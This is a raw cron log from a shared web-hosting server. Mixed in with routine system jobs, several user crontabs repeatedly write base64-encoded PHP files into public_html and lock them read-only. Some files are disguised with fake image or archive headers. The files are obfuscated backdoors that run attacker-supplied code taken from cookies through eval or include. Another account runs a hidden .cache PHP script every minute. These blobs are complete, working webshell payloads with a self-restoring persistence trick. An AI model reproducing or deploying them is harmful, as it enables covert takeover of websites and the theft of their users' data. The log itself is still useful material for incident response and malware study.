Mar  1 12:23:01 medusa CROND[25043]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:23:01 medusa CROND[25044]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:23:01 medusa CROND[25045]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:23:01 medusa CROND[25048]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:23:01 medusa CROND[25047]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:23:01 medusa CROND[25039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:24:01 medusa CROND[14538]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:24:01 medusa CROND[14609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:24:01 medusa CROND[14649]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:24:01 medusa CROND[14650]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:24:01 medusa CROND[14652]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:24:01 medusa CROND[14653]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:24:01 medusa CROND[14654]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:24:01 medusa CROND[14648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:24:01 medusa CROND[14651]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:24:01 medusa CROND[14657]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:24:01 medusa CROND[14660]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:24:01 medusa CROND[14661]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:24:01 medusa CROND[14666]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:25:02 medusa CROND[4421]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:25:02 medusa CROND[4441]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:25:02 medusa CROND[4535]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:25:02 medusa CROND[4539]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:25:02 medusa CROND[4540]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:25:02 medusa CROND[4542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:25:02 medusa CROND[4544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:25:02 medusa CROND[4545]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:25:02 medusa CROND[4549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:25:02 medusa CROND[4551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:25:02 medusa CROND[4555]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:25:02 medusa CROND[4565]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:25:02 medusa CROND[4566]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:25:02 medusa CROND[4568]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4570]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
